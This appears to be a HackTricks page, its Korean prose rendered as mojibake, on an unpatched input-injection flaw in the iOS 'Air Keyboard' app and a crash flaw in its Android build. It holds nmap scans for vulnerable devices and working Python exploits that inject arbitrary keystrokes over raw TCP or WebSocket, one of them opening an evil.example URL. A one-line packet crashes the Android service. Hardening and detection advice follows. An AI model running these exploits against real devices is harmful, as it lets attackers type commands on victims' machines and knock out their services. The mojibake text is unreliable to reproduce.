Air Keyboard Remote Input Injection (Unauthenticated TCP / WebSocket Listener)
Tip
AWS ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:HackTricks Training GCP Red Team Expert (GRTE)
Azure ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks μ§μνκΈ°
- ꡬλ κ³ν νμΈνκΈ°!
- **π¬ λμ€μ½λ κ·Έλ£Ή λλ ν λ κ·Έλ¨ κ·Έλ£Ήμ μ°Έμ¬νκ±°λ νΈμν° π¦ @hacktricks_liveλ₯Ό νλ‘μ°νμΈμ.
- HackTricks λ° HackTricks Cloud κΉνλΈ λ¦¬ν¬μ§ν 리μ PRμ μ μΆνμ¬ ν΄νΉ νΈλ¦μ 곡μ νμΈμ.
TL;DR
μμ μ© βAir Keyboardβ μ ν리μΌμ΄μ μ iOS λ²μ (App Store ID 6463187929)μ μΈμ¦μ΄λ μΆμ² κ²μ¦ μμ΄ ν€μ€νΈλ‘ν¬ νλ μμ μλ½νλ λ‘컬 λ€νΈμν¬ μλΉμ€λ₯Ό λ ΈμΆν©λλ€. μ€μΉλ λ²μ μ λ°λΌ μλΉμ€λ λ€μκ³Ό κ°μ΅λλ€:
- β€ 1.0.4 β ν¬νΈ 8888μμ 2λ°μ΄νΈ κΈΈμ΄ ν€λ λ€μμ device-idμ ASCII νμ΄λ‘λλ₯Ό κΈ°λνλ μμ TCP 리μ€λ.
- β₯ 1.0.5 (2025λ
6μ) β WebSocket 리μ€λκ° κ°μ ν¬νΈ(8888)μμ
{"type":1,"text":"β¦"}μ κ°μ JSON ν€λ₯Ό νμ±ν©λλ€.
λ°λΌμ λμΌν Wi-Fi / μλΈλ·μ μλ λͺ¨λ μ₯μΉλ νΌν΄μμ μ νκΈ°μ μμμ ν€λ³΄λ μ λ ₯μ μ£Όμ νμ¬ μμ μ격 μνΈμμ© νμ·¨λ₯Ό λ¬μ±ν μ μμ΅λλ€. λλ° Android λΉλλ ν¬νΈ 55535μμ 리μ€λν©λλ€. μ½ν AES-ECB νΈλμ °μ΄ν¬λ₯Ό μννμ§λ§ μ‘°μλ μ°λ κΈ° λ°μ΄ν°λ μ¬μ ν OpenSSL λ΄λΆμμ μ²λ¦¬λμ§ μμ μμΈλ₯Ό λ°μμμΌ λ°±κ·ΈλΌμ΄λ μλΉμ€λ₯Ό μΆ©λμν΅λλ€(DoS).
μ΄ μ·¨μ½μ μ μμ± μμ (2025λ 7μ)μμ μ¬μ ν ν¨μΉλμ§ μμμΌλ©° μ ν리μΌμ΄μ μ App Storeμμ μ¬μ©ν μ μμ΅λλ€.
1. μλΉμ€ κ²μ
λ‘컬 λ€νΈμν¬λ₯Ό μ€μΊνκ³ μ±μμ μ¬μ©νλ λ κ°μ κ³ μ ν¬νΈλ₯Ό μ°Ύμ΅λλ€:
# iOS (unauthenticated input-injection)
nmap -p 8888 --open 192.168.1.0/24
# Android (weakly-authenticated service)
nmap -p 55535 --open 192.168.1.0/24
μλλ‘μ΄λ νΈλμ μμλ μ± μ ν¨ν€μ§λ₯Ό λ‘컬μμ μλ³ν μ μμ΅λλ€:
adb shell netstat -tulpn | grep 55535 # no root required on emulator
# rooted device / Termux
netstat -tulpn | grep LISTEN
ls -l /proc/<PID>/cmdline # map PID β package name
On jailbroken iOSμμλ lsof -i -nP | grep LISTEN | grep 8888μ μ μ¬ν μμ
μ μνν μ μμ΅λλ€.
2. Protocol Details (iOS)
2.1 Legacy (β€ 1.0.4) β custom binary frames
[length (2 bytes little-endian)]
[device_id (1 byte)]
[payload ASCII keystrokes]
μ μΈλ κΈΈμ΄λ device_id λ°μ΄νΈλ₯Ό ν¬ν¨νμ§λ§ λ λ°μ΄νΈ ν€λ μ체λ ν¬ν¨νμ§ μμ΅λλ€.
2.2 νμ¬ (β₯ 1.0.5) β WebSocketμ ν΅ν JSON
λ²μ 1.0.5λ ν¬νΈ λ²νΈλ₯Ό λ³κ²½νμ§ μκ³ WebSocketμΌλ‘ μ‘°μ©ν λ§μ΄κ·Έλ μ΄μ λμμ΅λλ€. μ΅μνμ ν€ μ λ ₯μ λ€μκ³Ό κ°μ΅λλ€:
{
"type": 1, // 1 = insert text, 2 = special key
"text": "open -a Calculator\n",
"mode": 0,
"shiftKey": false,
"selectionStart": 0,
"selectionEnd": 0
}
νΈλμ °μ΄ν¬, ν ν° λλ μλͺ μ΄ νμνμ§ μμ΅λλ€ β 첫 λ²μ§Έ JSON κ°μ²΄κ° μ΄λ―Έ UI μ΄λ²€νΈλ₯Ό νΈλ¦¬κ±°ν©λλ€.
3. μ΅μ€νλ‘μ PoC
3.1 νκ² β€ 1.0.4 (μμ TCP)
#!/usr/bin/env python3
"""Inject arbitrary keystrokes into Air Keyboard β€ 1.0.4 (TCP mode)"""
import socket, sys
target_ip = sys.argv[1] # e.g. 192.168.1.50
keystrokes = b"open -a Calculator\n" # payload visible to the user
frame = bytes([(len(keystrokes)+1) & 0xff, (len(keystrokes)+1) >> 8])
frame += b"\x01" # device_id = 1 (hard-coded)
frame += keystrokes
with socket.create_connection((target_ip, 8888)) as s:
s.sendall(frame)
print("[+] Injected", keystrokes)
3.2 νκ²ν β₯ 1.0.5 (WebSocket)
#!/usr/bin/env python3
"""Inject keystrokes into Air Keyboard β₯ 1.0.5 (WebSocket mode)"""
import json, sys, websocket # `pip install websocket-client`
target_ip = sys.argv[1]
ws = websocket.create_connection(f"ws://{target_ip}:8888")
ws.send(json.dumps({
"type": 1,
"text": "https://evil.example\n",
"mode": 0,
"shiftKey": False,
"selectionStart": 0,
"selectionEnd": 0
}))
ws.close()
print("[+] URL opened on target browser")
μΈμ κ°λ₯ν λͺ¨λ ASCII β μ€ λ°κΏ, ν λ° λλΆλΆμ νΉμ ν€λ₯Ό ν¬ν¨νμ¬ β μ μ‘λ μ μμΌλ©°, μ΄λ 곡격μμκ² λ¬Όλ¦¬μ μ¬μ©μ μ λ ₯κ³Ό λμΌν κΆνμ λΆμ¬ν©λλ€: μ± μ€ν, IM μ μ‘, μ μ± URL μ΄κΈ°, μ€μ μ ν λ±.
4. Android Companion β μλΉμ€ κ±°λΆ
Android ν¬νΈ(55535)λ νλμ½λ©λ AES-128-ECB ν€λ‘ μνΈνλ 4μ λΉλ°λ²νΈμ 무μμ nonceλ₯Ό κΈ°λν©λλ€. ꡬ문 μ€λ₯λ AES_decrypt()λ‘ μ νλλ©° ν¬μ°©λμ§ μμ 리μ€λ μ€λ λκ° μ’
λ£λ©λλ€. λ°λΌμ λ¨μΌ μλͺ»λ ν¨ν·λ§μΌλ‘λ νλ‘μΈμ€κ° λ€μ μμλ λκΉμ§ ν©λ²μ μΈ μ¬μ©μκ° μ°κ²°μ΄ λκΈ°κ² λ©λλ€.
import socket
socket.create_connection((victim, 55535)).send(b"A"*32) # minimal DoS
5. κ΄λ ¨ μ± β λ°λ³΅λλ μν° ν¨ν΄
Air Keyboardλ κ³ λ¦½λ μ¬λ‘κ° μλλλ€. λ€λ₯Έ λͺ¨λ°μΌ βμ격 ν€λ³΄λ/λ§μ°μ€β μ νΈλ¦¬ν°λ λμΌν κ²°ν¨μ κ°μ§κ³ μΆμλμμ΅λλ€:
- Telepad β€ 1.0.7 β CVE-2022-45477/78λ μΈμ¦λμ§ μμ λͺ λ Ή μ€ν λ° νλ¬Έ ν€ λ‘κΉ μ νμ©ν©λλ€.
- PC Keyboard β€ 30 β CVE-2022-45479/80 μΈμ¦λμ§ μμ RCE λ° νΈλν½ μ€λν.
- Lazy Mouse β€ 2.0.1 β CVE-2022-45481/82/83 κΈ°λ³Έ λΉλ°λ²νΈ μμ, μ½ν PIN λ¬΄μ°¨λ³ λμ λ° νλ¬Έ μ μΆ.
μ΄ μ¬λ‘λ€μ λͺ¨λ°μΌ μ±μ λ€νΈμν¬ κ³΅κ²© νλ©΄μ λν 체κ³μ μΈ λ¬΄μλ₯Ό κ°μ‘°ν©λλ€.
6. κ·Όλ³Έ μμΈ
- μμ νλ μμ λν μΆμ²/λ¬΄κ²°μ± κ²μ¬ μμ (iOS).
- μνΈν μ€μ© (μ μ ν€, ECB, κΈΈμ΄ κ²μ¦ λλ½) λ° μμΈ μ²λ¦¬ λΆμ‘± (Android).
- μ¬μ©μ λΆμ¬ λ‘컬 λ€νΈμν¬ κΆν β 보μ β iOSλ LAN νΈλν½μ λν λ°νμ λμλ₯Ό μμ²νμ§λ§, μ μ ν μΈμ¦μ λ체νμ§λ μμ΅λλ€.
7. κ°ν λ° λ°©μ΄ μ‘°μΉ
κ°λ°μ κΆμ₯ μ¬ν:
- 리μ€λλ₯Ό **
127.0.0.1**μ λ°μΈλ©νκ³ μ격 μ μ΄κ° νμν κ²½μ° mTLS λλ Noise XXλ₯Ό ν΅ν΄ ν°λλ§ν©λλ€. - μ¨λ³΄λ© μ€ μ₯μΉλ³ λΉλ°μ νμ (μ: QR μ½λ λλ νμ΄λ§ PIN)νκ³ μ λ ₯ μ²λ¦¬λ₯Ό νκΈ° μ μ μνΈ μΈμ¦μ μνν©λλ€.
- μμ μμΌ λμ Apple Network Frameworkλ₯Ό NWListener + TLSμ ν¨κ» μ±νν©λλ€.
- νλ μμ 볡νΈννκ±°λ λμ½λ©ν λ κΈΈμ΄ μ λμ¬ μ ν©μ± κ²μ¬ λ° κ΅¬μ‘°νλ μμΈ μ²λ¦¬λ₯Ό ꡬνν©λλ€.
λΈλ£¨/λ λ νμ λΉ λ₯Έ μΉλ¦¬:
- λ€νΈμν¬ νν
:
sudo nmap -n -p 8888,55535 --open 192.168.0.0/16λλ Wireshark νν°tcp.port == 8888. - λ°νμ κ²μ¬: Frida μ€ν¬λ¦½νΈ ννΉ
socket()/NWConnectionμΌλ‘ μμμΉ λͺ»ν 리μ€λ λͺ©λ‘μ λμ΄ν©λλ€. - **iOS μ± κ°μΈμ 보 λ³΄νΈ λ³΄κ³ μ (μ€μ βΈ κ°μΈμ 보 λ° λ³΄μ βΈ μ± κ°μΈμ 보 λ³΄νΈ λ³΄κ³ μ)**λ LAN μ£Όμμ μ°λ½νλ μ±μ κ°μ‘°ν©λλ€ β μ μ± μλΉμ€λ₯Ό λ°κ²¬νλ λ° μ μ©ν©λλ€.
- λͺ¨λ°μΌ EDRμ ν¬νΈ 8888μ νλ¬Έ TCP νμ΄λ‘λ λ΄ JSON ν€
"selectionStart","selectionEnd"μ λν κ°λ¨ν Yara-L κ·μΉμ μΆκ°ν μ μμ΅λλ€.
νμ§ μμ½ (νν μ€ν°)
# Locate vulnerable devices in a /24 and print IP + list of open risky ports
nmap -n -p 8888,55535 --open 192.168.1.0/24 -oG - \
| awk '/Ports/{print $2 " " $4}'
# Inspect running sockets on a connected Android target
adb shell "for p in $(lsof -PiTCP -sTCP:LISTEN -n -t); do \
echo -n \"$p β \"; cat /proc/$p/cmdline; done"
References
- Exploit-DB 52333 β Air Keyboard iOS App 1.0.5 μ격 μ λ ₯ μ£Όμ
- Mobile-Hacker Blog (2025λ 7μ 17μΌ) β Air Keyboard iOS Appμ μ격 μ λ ₯ μ£Όμ μ·¨μ½μ μ¬μ ν ν¨μΉλμ§ μμ
Tip
AWS ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:HackTricks Training GCP Red Team Expert (GRTE)
Azure ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks μ§μνκΈ°
- ꡬλ κ³ν νμΈνκΈ°!
- **π¬ λμ€μ½λ κ·Έλ£Ή λλ ν λ κ·Έλ¨ κ·Έλ£Ήμ μ°Έμ¬νκ±°λ νΈμν° π¦ @hacktricks_liveλ₯Ό νλ‘μ°νμΈμ.
- HackTricks λ° HackTricks Cloud κΉνλΈ λ¦¬ν¬μ§ν 리μ PRμ μ μΆνμ¬ ν΄νΉ νΈλ¦μ 곡μ νμΈμ.


